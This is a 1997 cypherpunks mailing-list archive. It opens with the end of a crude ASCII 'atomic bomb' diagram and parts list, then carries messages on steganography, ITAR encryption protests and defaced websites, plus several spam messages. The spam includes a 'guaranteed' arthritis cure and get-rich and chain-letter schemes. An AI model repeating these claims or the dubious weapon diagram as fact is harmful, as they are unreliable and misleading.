                 |/_______||/______________________________\|
                  \       ~\       | :          |:|         /
                   \       |\      | :          |:|        /
                    \      | \     | :__________|:|       /
                     \     |:_\    | :__________\:|      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /                               \
                      /                                 \
                     /          _______________          \
                    /       ___/               \___       \
                   /____ __/                       \__ ____\
     [3]_______________________________               \ ___|
                   / __/               \               \__ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                / /            __/___________\__            \ \
              ./ /__  ___     /=================\     ___  __\ \.
     [4]-------> ___||___|====|[[[[[|||||||]]]]]|====|___||___ <------[4]
            /  /              |=o=o=o=o=o=o=o=o=| <-------------------[5]
           .' /                \_______ _______/                \ `.
           :  |___                    |*|                    ___|  :
          .'  |   \_________________  |*|  _________________/   |  `.
          :   |   ___________   ___ \ |*| / ___   ___________   |   :
          :   |__/           \ /   \_\\*//_/   \ /           \__|   :
          :   |______________:|:____:: **::****:|:********\ <---------[6]
         .'  /:|||||||||||||'`|;..:::::::::::..;|'`|||||||*|||||:\  `.
     [7]----------> ||||||' .:::;~|~~~___~~~|~;:::. `|||||*|| <-------[7]
         :   |:|||||||||' .::'\ ..:::::::::::.. /`::. `|||*|||||:|   :
         :   |:|||||||' .::' .:::''~~     ~~``:::. `::. `|\***\|:|   :
         :   |:|||||' .::\ .::''\ |   [9]   | /``::: /::. `|||*|:|   :
     [8]------------>::' .::'    \|_________|/    `::: `::. `|* <-----[6]
         `.  \:||' .::' ::'\ [9] .     .     . [9] /::: `::.  *|:/  .'
          :   \:' :::'.::'  \  .               .  /  `::.`::: *:/   :
          :    | .::'.::'____\    [10] . [10]    /____`::.`::.*|    :
          :    | :::~:::     |       . . .       |     :::~:::*|    :
          :    | ::: ::  [9] | .   . ..:.. .   . | [9]  :: :::*|    :
          :    \ ::: ::      |       . :\_____________________________[11]
          `.    \`:: ::: ____|     .   .   .     |____ ::: ::'/    .'
           :     \:;~`::.    / .  [10]   [10]  . \    .::'~::/     :
           `.     \:. `::.  /    .     .     .    \  .::' .:/     .'
            :      \:. `:::/ [9]   _________   [9] \:::' .:/      :
            `.      \::. `:::.   /|         |\   .:::' .::/      .'
             :       ~~\:/ `:::./ |   [9]   | \.:::' \:/~~       :
             `:=========\::. `::::...     ...::::' .::/=========:'
              `:         ~\::./ ```:::::::::''' \.::/~         :'
               `.          ~~~~~~\|   ~~~   |/~~~~~~          .'
                `.                \:::...:::/                .'
                 `.                ~~~~~~~~~                .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [12]------------------> `:____:::::::::::____:' <-----------------[12]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Electronic Conduits & Fusing Circuits
                        [7] - Lead Shield Container
                        [8] - Neutron Deflector (U-238)
                        [9] - Conventional Explosive Charge(s)
                       [10] - Plutonium (Pu-239)
                       [11] - Receptacle for Beryllium/Polonium mixture
                              to facilitate atomic detonation reaction.
                       [12] - Fuses (inserted to arm bomb)




 ============================================================================


-End of section 4-
-Documentation & Diagrams of the Atomic Bomb-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WSJ Interactive Edition Editors <update@INTERACTIVE.WSJ.COM>
Date: Mon, 12 May 1997 08:54:46 -0700 (PDT)
To: Multiple recipients of list WSJIE-WHATSNEW             <WSJIE-WHATSNEW@LISTSERV.DOWJONES.COM>
Subject: Now read the Interactive Journal without Logging In
Message-ID: <3.0.32.19970512112434.00a0e930@pop.dowjones.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Johnson <njohnson@gmu.edu>
Date: Thu, 15 May 1997 06:16:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Steganography and this list
In-Reply-To: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>
Message-ID: <Pine.SOL.3.95.970515090656.28112A-100000@isse>
MIME-Version: 1.0
Content-Type: text/plain


For those of you interested in Steganography,  there is a Steganography
mailing list.  I subscribed to cypherpunks to try to watch Steganography
discussions from another source.  Well, there is much discussion going on
some good and some not so good.  I will probably stay on this list for a
while longer for the 1 in 100 message on steganography and the 10 in 100
messages on cryptography issues.

The following is the instructions for the Steganography Mailing list;
subscribing and unsubscribing sent out by Markus Kuhn in 1995.  Thes
instructions may also be found at
http://patriot.net/~johnson/html/neil/sec/steglist.htm

Thank you
----



Newsgroups: sci.crypt.research
From:  Markus Kuhn
Subject: Announcement: Steganography Mailing List
Message-ID: 
Sender: mpj@netcom15.netcom.com
Organization: private site, Hamburg (Germany)
Date: Wed, 5 Jul 1995 21:59:59 GMT
Approved: crypt-request@cs.aukuni.ac.nz

Steganography Mailing List
--------------------------

Markus Kuhn -- 1995-07-03


Steganography is the art and science of communicating in a way which
hides the existence of the communication. In contrast to cryptography,
where the "enemy" is allowed to detect, intercept and modify messages
without being able to violate certain security premises guaranteed by
a cryptosystem, the goal of steganography is to hide messages inside
other "harmless" messages in a way that does not allow any "enemy" to
even detect that there is a second secret message present.
Steganography is in the (especially military) literature also referred
to as transmission security or short TRANSEC.

A good steganography system should fulfill the same requirements posed
by the "Kerckhoff principle" in cryptography. This means that the
security of the system has to be based on the assumption that the
"enemy" has full knowledge of the design and implementation details of
the steganographic system. The only missing information for the
"enemy" is a short easily exchangeable random number sequence, the
secret key, and without the secret key, the "enemy" should not have
the slightest chance of even becoming suspicious that on an observed
communication channel hidden communication might take place.

Steganography is closely related to the problem of "hidden channels"
in secure operating system design, a term which refers to all
communication paths that can not easily be restricted by access
control mechanisms (e.g. two processes that communicate by modulating
and measuring the CPU load). Steganography is also closely related to
spread spectrum radio transmission, a technique that allows to receive
radio signals that are over 100 times weaker than the atmospheric
background noise, as well as TEMPEST, techniques which analyze RF
transmissions of computer and communication equipment in order to get
access to secret information handled by these systems.

Most communication channels like telephone lines and radio broadcasts
transmit signals which are always accompanied by some kind of noise.
This noise can be replaced by a secret signal that has been
transformed into a form that is indistinguishable from noise without
knowledge of a secret key and this way, the secret signal can be
transmitted undetectable.

This basic design principle of steganographic systems, i.e. replacing
high entropy noise with a high entropy secret transmission, is quite
obvious. There have a number of simple software tools been published
for e.g. hiding files in the least significant bits of digital images
or for transforming PGP messages into files resembling pure random
byte sequences.

However really good steganography is much more difficult and usage of
most of the currently available steganographic tools might be quite
easily detected using sufficiently careful analysis of the transmitted
data. The noise on analog systems has a large number of properties
very characteristic to the channel and the equipment used in the
communication system. A good steganographic system has to observe the
channel, has to build a model of the type of noise which is present
and has then to adapt the parameters of its own encoding algorithms so
that the noise replacement fits the model parameters of the noise on
the channel as well as possible. Whether the steganographic system is
really secure depends on whether the "enemy" has a more sophisticated
model of the noise on the channel than the one used in the
steganographic system.

Common communication systems have a huge number of characteristics and
only a small fraction of what looks like noise can actually be
replaced by the statistically very clean noise of a cryptographic
ciphertext. Noise in communication systems is often created by
modulation, quantization and signal cross-over and is heavily
influenced by these mechanisms and in addition by all kinds of
filters, echo cancelation units, data format converters, etc. Many
steganographic systems have to work in noisy environments and
consequently require synchronization and forward error correction
mechanisms that also have to be undetectable as long as the secret key
is unknown.

It is my impression that the field of steganography has not yet been
examined in detail by the scientific community outside the military
world. Many of the above mentioned problems in the design of high
quality steganographic systems have not been addressed in the
literature and only very few attempts of practical solutions have been
published and analyzed so far.

In order to encourage discussion and cooperation in the field of
steganography, the STEGANO-L mailing list has been established. We
want to invite people with a good background in modern communication
systems, cryptography, digital signal processing, information theory,
mathematics, etc. to publish tools for steganographic systems, to
attack these and discuss weaknesses and possible improvements and to
collect statistic and signal processing software tools as well as
sample data that can be used for quality control of steganographic
systems.

In order to (un-)subscribe to STEGANO-L, send an e-mail message
"(UN)SUB stegano-l your-mail-address" to

  stegano-l-request@as-node.jena.thur.de

Messages to all STEGANO-L members have to be sent to the address

  stegano-l@as-node.jena.thur.de

The manager of the mailing list server is

  Lutz Donnerhacke Lutz.Donnerhacke@Jena.Thur.De

WWW: http://www.thur.de/ulf/stegano/


I am looking forward to meet you in interesting discussions there ...

Markus

-- 
Markus Kuhn, Computer Science student -- University of Erlangen,


----

Neil F. Johnson
  Home Page URL:      http://patriot.net/~johnson/neil
  FoxPro:             http://patriot.net/~johnson/Fox
  Security/Privacy:   http://patriot.net/~johnson/Security
  Steganography:      http://patriot.net/~johnson/Steganography
             or       http://patriot.net/~johnson/neil/stego
  Resources on:       FoxPro, Security and Privacy, and MUCH MORE. 
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 16 May 1997 04:10:33 -0700 (PDT)
To: gomez@BASISinc.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Message-ID: <337C3D50.1B50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/


To: president@whitehouse.gov, toto@sk.sympatico.ca
Subject: ITAR / S 1726 / Civil Disobedience
From: "C.J. Parker" <toto@sk.sympatico.ca>
Date: Fri May 16  5:42:13 1997


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto@sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: internet@netline.com
Date: Fri, 16 May 1997 08:00:39 -0700 (PDT)
To: letter@techlink.com
Subject: Express Letter
Message-ID: <199703170025.GAA080@interlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

How are you?

I have found a great way to make an honest and ethical living 
on the internet. I work from home using only a computer and a 
modem and I have very limited computer experience. If you
would like a free report on this business simply read on.

Entrepreneur Magazine voted "INTERNET CONSULTING"
as the #1 business opportunity for 1997!!  Now any 
business or entrepreneur can profit from advertising 
on the internet. 

So why are so few of them doing it? Because they don't 
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Within 4 hours of starting my Internet Consulting 
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What I do is simply show people who are currently
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their message in front of over 60 million customers on 
the Internet. 

This is a low start up, easy maintenance, turn key , 
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is WHITE HOT!

The time to get in and profit from the INTERNET 
is NOW!

Don't let the opportunity of a lifetime pass you by!

For a FREE REPORT on this business (do not hit reply)
simply send an e.mail to our auto responder at:

hitme@answerme.com

and you will have the packet in you e.mail box 
within 30 seconds or so.

Best Regards
Bob

Thank You and Good Luck!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 16 May 1997 17:13:48 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Embrace the Dark Side
Message-ID: <199705161100.MAA01249@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Z is for Zoomorphic
Y is for Young Frankenstein
X is for X-mal Deutschland
W is for Witch
V is for Vampire
U is for Undead
T is for Terror
S is for Sex Gang Children
R is for Rat
Q is for Quinine
P is for Poe
O is for Obsession
N is for Nosferatu
M is for Murnau
L is for Lycanthropy
K is for Karloff
J is for Jack the Ripper
I is for Incubus
H is for Hammer
G is for Gargoyle
F is for Frankenstein
E is for Evil
D is for Dracula
C is for The Cramps
B is for Baudelaire
A is for Absinthe

Shift Control is for all things Gothic
Shift Control awaits you at
www.shiftcontrol.com

Be swift, dear friend, for tomorrow may be too late

Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satellittvad@norway.it.earthlink.net
Date: Fri, 16 May 1997 20:46:25 -0700 (PDT)
Subject: *Satellite TV*
Message-ID: <199705170342.UAA01193@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


HOW WOULD YOU LIKE TO GET PAID AS MILLIONS OF 
AMERICANS TURN ON THEIR TELEVISION SETS EACH DAY?

The shift is on from cable to digital technology through satellite
and there is a short window of timing when the deck is being re-
shuffled and the new profiteers of television will be created.

How can you profit from this digital technology?

A new strategic alliance has just been formed between two tele-
vision giants to capture the lion' share of TV's installed base.  One
is TPN (The People's Network), the world's leader in personal and 
professional achievement programming.  Experts predict that by
year 2000 the number one industry in the world will be the retraining
of adults. TPN is the only company bringing this life enhancing infor-
mation into homes, thus creating a multi-billion dollar industry cued
for an explosion.

 The second giant is Primestar, the proven leader in digital technology
through satellite, and is owned by the five largest cable companies
in the country. Primestar has already cornered 42% of the digital satel-
lite market share.  Digital satellites are the fastest growing consumer
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TPN because of TPN's proven success in penetrating every neighbor-
hood in America with satellite installations and now, together, they can
go to the market while the competition waits for the market to come to
them. A 150 million dollar campaign has just been launched by Prime-
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This is where you come in.  TPN offers you a once in a lifetime oppor-
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success
Date: Sat, 17 May 1997 04:03:51 -0700 (PDT)
To: vip@more.hits.net
Subject: Search Engine Secrets
Message-ID: <807264385926.vip@scctc.net>
MIME-Version: 1.0
Content-Type: text/plain


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Please direct all inquiries to:   evisions@answerme.com

If you feel you've been included in this list by mistake, then you can remove
yourself by sending an e-mail to:    evisions@answerme.com 
and typing "remove" in the subject.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sat, 17 May 1997 16:28:08 -0700 (PDT)
To: banisar@epic.org
Subject: PI/GILC UK Crypto Conference Cybercast
Message-ID: <v03007800afa3eb7962d5@[152.170.153.38]>
MIME-Version: 1.0
Content-Type: text/plain


For those of you interested in hearing a live cybercast of the Privacy
International/GILC conference on UK cryptography policy, theURL is:

    http://www.encryption.co.uk

Speakers will include Phil Zimmermann, Whit Diffie, Ross Anderson, and Carl
Ellison.
The Department of Trade and Industry and the National Criminal Intelligence
Service will also present. The event is being hosted by the London School
of Economics.

A copy of the agenda is available at:

   http://www.privacy.org/pi/conference/dti/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Sun, 18 May 1997 13:57:27 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Hacked, Trashed and Out of Beer
Message-ID: <Pine.BSI.3.91.970518135516.26216A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

which includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tony Glavin <glavin@best-solutions.com>
Date: Sun, 18 May 1997 18:26:24 -0700 (PDT)
To: <chrish@teleport.com>
Subject: Do You Accept Credit Cards?
Message-ID: <199705190117.SAA00607@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi, I was boing a search of web sites that were selling a product or service, and your web site popped up. If this message has been sent to you by mistake, I apologize.

If you are selling a product or service and would like to accept credit cards inexpensively, we have a complete program for you:

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This software lets you submit the transactions to the credit card processor. It is the same product that others are charging $995 for or leasing for $39 per month on a 48 month lease.

You will be able to accept all major credit cards, even if you are selling over the Internet. You will experience an increase of sales as prospects see you as more credible if you accept credit cards.

If you have any questions about accepting credit cards, please send them via email to:
mailto:glavin@best-solutions.com

Thanks for your time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Sun, 18 May 1997 20:56:06 -0700 (PDT)
To: Service@iBase.net
Subject: WOW!  Internet Business Classified Advertising!!!
Message-ID: <19970519002410710.AAA163@[206.244.171.156]>
MIME-Version: 1.0
Content-Type: text/plain


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To submit your Business Ad Order for inclusion, simply go to the VirtualCheck(sm) site:  http://iBase.net/0emailpay.htm , process for only $20.00 per inclusion (that's only $1/1000 true recipients), and copy and paste your Ad in the Description Field, and send it to us. It's E-Z!
 

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 01:46:24 -0700 (PDT)
To: daranc@primenet.com
Subject: "GOOD NEWS"
Message-ID: <199705200619.XAA25219@alicia.sysmore.com>
MIME-Version: 1.0
Content-Type: text/plain


 >>>>> ARTHRITIS GONE FOREVER <<<<<
 One Bottle - One Time - That's it!
                 and
          "BOOM YOUR WELL"
 It's A Miracle and It's GUARANTEED!

 Is (CMO)TM, Cetyl Myristoleate a
 CURE for Arthritis?????? We think
so and so do 1,000's of past users!
 Call Jon Boulet at (602)267-9688
 4-11pm (MST) for a FREE informa-
           tion package.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 05:07:12 -0700 (PDT)
To: daranc@primenet.com
Subject: test
Message-ID: <199705201207.FAA13390@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 11:43:29 -0700 (PDT)
Subject: test
Message-ID: <199705201843.LAA19640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NWS@juno.com
Date: Tue, 20 May 1997 13:16:29 -0700 (PDT)
To: your@email.com
Subject: NWS Internet Newsletter--Complimentary Issue
Message-ID: <120075107392.80GAA056@mymail.local787.com>
MIME-Version: 1.0
Content-Type: text/plain





       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/

                    Net.WWWorth STRATEGIES 
                    *INTERNET  NEWSLETTER*  
                                          <tm>
        
       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/


   (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997
 _____________________________________________________________________
|_____________________________________________________________________|


WELCOME  to the "Net.WWWorth STRATEGIES Internet Newsletter", your
Guide to Success in Marketing On the Internet!

Due to prior interest in topics presented here, we have sent you this 
Free copy of the NWS Internet Newsletter.   If for any reason you 
decide you do not want to continue to receive this Newsletter in the
future, please see the end of this Issue for easy instructions to 
subscribe or un-subscribe.

In future issues you will find highlights of online articles placed on 
the Net.WWWorth Strategies Web site designed to provide valuable 
information to assist you in your Home-Based Business and 
Online Marketing.

In this issue of NWS Internet Newsletter, you will also find New
Strategies that will provide you with successful "netvertising" tips 
and techniques.

* Please Note: Net.WWWorth STRATEGIES does NOT make available its 
subscriber list to other companies. We value each and every subscriber
and respect your privacy.


_______________________________________________________________________

^^^^^^^^^^^^^^^^^^^^^> IN THIS ISSUE <^^^^^^^^^^^^^^^^^^^^^^

1.  Wealth Building on the Internet!

2.  PERFECT CREDIT!  Free Software to Repair or Improve Your Credit!
       
3.  Using Online Classified Advertising for FREE!
    (Over 2 Dozen Listing Sites you can use NOW for FREE!)
______________________________________________________________________

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 1 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
               WEALTH BUILDING ON THE INTERNET

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Do you know how to use email?  Then you should be making money hand 
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by using this one idea....

By the time you're finished reading this article, you'll know EXACTLY
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>	Introducing the New  Net.WWWorth STRATEGIES 
>	"INTERNET WEALTH BUILDING SYSTEM."

With this system you will be able to make a bundle of money on the 
Internet in a short time.  Here's why....

The "Internet population explosion" is now under way.  The actual 
numbers are a little hard to fathom, but here they are....

Last year in 1996 over A MILLION people per MONTH signed up with an 
Internet access provider!  That's over 12 MILLION people per year!  
Even if this rate remains the same, and many expect it to increase, 
there will be more than 100 MILLION people online by the year 2000!

So what does this mean to you?  Simple.  Like you, many of these 12 
MILLION newcomers per year will be looking for legitimate business 
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                THAT'S WHERE YOU COME IN!

You can meet BOTH of these demands with this Complete "INTERNET 
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	WHAT YOU WILL RECEIVE IN THIS ALL NEW 
        Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM" 
	IS INCREDIBLE!  SEE FOR YOURSELF, AND YOU'LL AGREE!

1. "The Amazing Inside Secrets to Profitable Online Marketing".

2. "The Ultimate Business Guide to Making Money on the Internet"

3. "The Professionals Secrets of Search Engine Positioning!" 
We have seen similar inferior reports selling on the Internet for as 
much as $59. (We sell ours all day long for $9.95 without trying!)

4. Over 2000 links where you can place classified ads and promote
yourself online for FREE!

5. "The Information Freeway", Profit From The Internet! 
A 32 page manual (In Text File Format) that will teach you 
everything you need to know about making money online! You Also 
Receive Complete and UNLIMITED Ownership Rights.

	This is the Informative Manual You've Been Waiting for,
	and You Will Own It, AND be able to RESELL It!

This manual will teach you just how easy it is to use the Internet 
for profit! The demand for information like this is growing daily!  
This is a $30.00 Value.

6. "Beyond The Basics of ... INTERNET E-MAIL!"
Our Brand New Updated Version for 1997

Have you ever thought about marketing your product or service on the
Internet?  Very wise decision!  It's no secret that the Internet has
recently developed into the hottest marketing medium since television!

This book will answer every question you've ever had about email!
(The technical issues as well as the marketing issues.) 

Anyone marketing a product or service on the Internet will watch
their sales soar once they put this knowledge to work for them! And as
your profits increase, your actual time spent working, will decline! 
A $30.00 Value! (36 Pages In Text File Format).

7. "Learning To Drive Your Modem!"
This report  will teach you how to access Bulletin Board Systems 
(BBS's) for Fun and Even More Profit! A $15.00 Value! 

8. We Will Send You A Listing Of  OVER 500 ONLINE SOURCES 
Where You Can Advertise Any Product Absolutely FREE!!

9. You'll Also Receive the Best Selling Book on Disc...

	"HOW TO MAKE A FORTUNE FROM A PRODUCT YOU CAN GET FREE!" 
	by Murry Broach

This is the best book ever written about selling information by direct
marketing. It leaves nothing out. It will practically take you by the
hand and give you the most complete education in direct marketing 
that money can buy! Advertised on the Internet for $45.00!

HERE'S A SMALL PORTION OF WHAT BROACH'S BOOK REVEALS:

* How to project your final ad result when you have only a few 
    days of results.
* Exactly which magazines pull the most profitable response.
* How a letter to your own mother could be the most profitable 
   letter you ever write.
* The single most important line in your direct mail piece and how 
   to get it right. 
* How to save at least 17% on all your newspaper and magazine 
   advertising.
* How you can easily advertise FREE in Card Decks and other print ads.
* The most difficult magazine in which to place an ad (this one will 
   certainly surprise you.)
* Step by Step how to write a classified ad that pulls response like 
   crazy!
* How to deal with federal and state regulatory agencies.
* How to deal with the mail order rip-off artists.
* Where to place a small display ad for maximum response.
* A "by-product" of the mail order business that could make you as 
   much profit as your main operation.
* The one thing that will always kill a classified ad in its tracks!
* The 10 best selling information subjects of all time.
* How to easily DOUBLE the pull of a commission circular!

10. AND YOU ALSO RECEIVE HIS OTHER BEST SELLING 
BOOK ON DISK...

 	"Revolutionary New Method of .... ADVERTISING FREE"
 	by Murry Broach & Charles Linko

THIS BOOK TEACHES YOU how to never pay for advertising again.
Little known secrets about advertising on the Internet, In newsgroups,
Mailing Lists and BBS's. BY ITSELF this book sells for $40.00 as
Advertised on the Internet, but you get it at no additional cost!


11.  The NEW Version of "Secrets of Online and Electronic Marketing"

This Report (Complete - 20 Pages - In Text File Format.) is SO FULL
of Useful Information that it would be worth the money at almost any
price. This comprehensive guide reveals Secrets that the "Experts"
hope you won't find out. The so called  experts hope you Don't See this
information because they want you to pay them $99.00, $200.00 or 
even $295.00 for the exact same material. Once You Have This 
Information in Your Hands You Will Have Unlocked the Secrets to
Successfully Utilizing Online and Electronic Marketing.

12. And, we  will also include at No Extra Cost another program, 
"U.S. Daily Newspapers". This will give you the names, addresses, 
etc., of OVER 1500 Newspapers across the United States to advertise 
in..

> Also, You Will Receive New FREE Bonus Reports For Making More 
> Money on the Internet and Starting Your Own Business!

13. Plus, Some Very Special Software to Create Your Very Own 
Information Products!  This easy to use program will allow you 
to create your own electronic books, newsletters and order-
generating reports. Upload them to the Commercial Services 
(AOL, CompuServe, etc.), the Internet and the thousands 
BBS's around the world. If it is a quality E-book or report,
it will be picked up by hundreds, perhaps thousands, of other 
computer users and distribution points all over the world. 
Which could mean thousands of orders for  YOU!!
        

*** PLUS LOOK at These FREE BONUS Reports!

A) "The Secrets of Internet and Online Marketing in 1997!"
   (Totally Different from the report title mentioned above.)

B) "How to Buy and Sell Products Online!"

C) "How to Advertise On The Internet!"

D) "How to Be a High Paid Online Information Broker!"

E) "How to Use the Major Online Services for Almost Nothing!"

F) "How to Start and Operate Your Very Own Home-Based Business!"
   (A Complete Guide,  Over 25 Pages When Printed.)

G) "How to Easily Create Your Own Information Products!"

H) "The Inside Secrets of Credit Repair, Online!" 

YOU RECEIVE ALL THIS, PLUS MORE! You won't find a more complete
package anywhere!  SEVEN DISKS, ALMOST 10 MEGABYTES OF INFORMATION!

>>> SPECIAL FREE BONUS! <<<
*** Also, As A Special BONUS You Will Receive
    A Computer Program To Make Copies Of Your New Disks FAST!

As a Special FREE BONUS you will get a FAST DISK COPYING
SOFTWARE PROGRAM. You will be able to make duplicates of 
your new disks in about 2 minutes (maybe less) per disk, average 
from start to finish. Also, this program will let you format your 
3 1/2" floppy disks up to 1.76 (MB's) Megabytes. Put More Files 
and Information on Every Disk You Have! This is an Extremely Easy 
Program to use.


********************************************************************
As the owner of a computer, we know that you too are asking the 
question of the 90's and beyond:  Can You Really Make Money Online? 
Serious Money with My Computer...WITHOUT ANY SPECIAL TALENTS or SKILLS?

THE ANSWER IS YES! Yes, to the tune of TENS OF 
THOUSANDS OF DOLLARS!

Selling Information By Mail is the World's EASIEST and 
LOWEST-PRICED Home Business For YOU To Get Started In!!!

In Today's World, One of the Hottest Selling and Most Profitable
Commodities is "INFORMATION". Now You Can  CA$H IN BIG  With This 
Complete Business Package of New Software Containing Page 
After Page of Money-Making Information, over 1,000 reports in all!


>>> THAT'S RIGHT!  OVER 1,000  REPORTS ON DISK! (Updated for 1997)

A Few Sample Titles:

1. Survival Tips For Small Business
2. The Lazy Person's Secrets To Overnight Wealth
3. Secret's Of Getting FREE Advertising
4. Secret's Of Success With Chain Letters
5. How To Get Big Dollars In Your Mailbox Everyday
6. The Selling Secret's of Million Dollar Sales Letters
7. The Money-Maker's Guide To Easy Mail Order Riches
8. Insiders Secrets to Your Own Million $$$ Multi-Level Empire
9. Secrets  Of  The  Richest  People
10. How To Get A Visa or MasterCard With No Credit Check
        

Plus, HUNDREDS and HUNDREDS MORE!

If you have seen these reports selling on the Internet, you may have
seen a similar CD-ROM with only about half as many Reports being sold
for $99.95. These are the exact same Files plus many, MANY NEW ONES
(Reports & Guides), except Now they're on 3 1/2" computer disks for a 
MUCH LOWER COST!.

You WILL Receive OVER 1,000 MONEY-MAKING Reports 
on  3.5" disk. Each Report has been Professionally Researched 
and Written.  OVER 8 Megabytes of Money-Making Information 
in Several Self-Extracting Win-Zip Files.  When the Reports are printed 
out in 12 point type you will have... SO  MANY  PAGES OF INFORMATION!  
It Will Take You Over 2 Weeks to Read All of it.

```````````````````
IT'S  YOUR  CHOICE!

Other Companies On The World Wide Web Are Selling some of
These Same Reports For $15.00 to $50.00 Each!

*Think Of The Money You Will Make!*

If you have seen others selling some of these reports, or similar
packages, Look No Further!

> This is Your BEST MONEY-MAKING DEAL on the Internet! GUARANTEED!!!

These 7 Disks Can Bring In a  HUGE INCOME When You Use 
Them Yourself Or Sell Them for a BIG PROFIT!

1. Use the Information on the Disks in Your Own Business or for
   Your Own Personal  Use!  Discover Money-Making & Business Tips You  
   Never  Dreamed  Existed!

2. Print the Reports and Sell Them Individually for $5.00 to $25.00 
   Each -- or MORE!!

3. Sell Copies of Each Disk for $10.00 to $30.00 Each or Sell Them
   as a Complete Information Package. Disk Packages Like This
   Sell for OVER $100!!

********************************************************************

>>>   Here is a Summary of the Important Benefits of the         <<<
